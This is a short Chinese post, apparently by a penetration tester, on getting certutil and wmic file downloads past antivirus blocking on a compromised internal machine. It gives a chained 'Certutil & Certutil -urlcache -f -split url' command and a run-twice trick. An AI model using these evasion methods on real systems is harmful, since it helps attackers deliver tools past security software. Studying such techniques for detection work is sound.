一般进内网过后会使用certutil下载文件，但在最近打一台内网机子的时候出现了certutil拒绝访问的情况，于是我在本地搭建了一个环境尝试绕过certutil下载文件。
certutil绕过
安装杀软更新到最新版本，开启所有防护，cmd下载certutil拦截如下：
方法一：用&和|绕过，语句如下:
1 | Certutil & Certutil –urlcache –f –split url |
可以看到之前拒绝访问后下载成功
方法二：二次执行certutil
先执行一次certutil，再执行下载语句
wmic绕过
想到这里，我试着用wmic方式下载，也是被拦截
于是尝试了跟certutil相同的方法，方法二可行如下
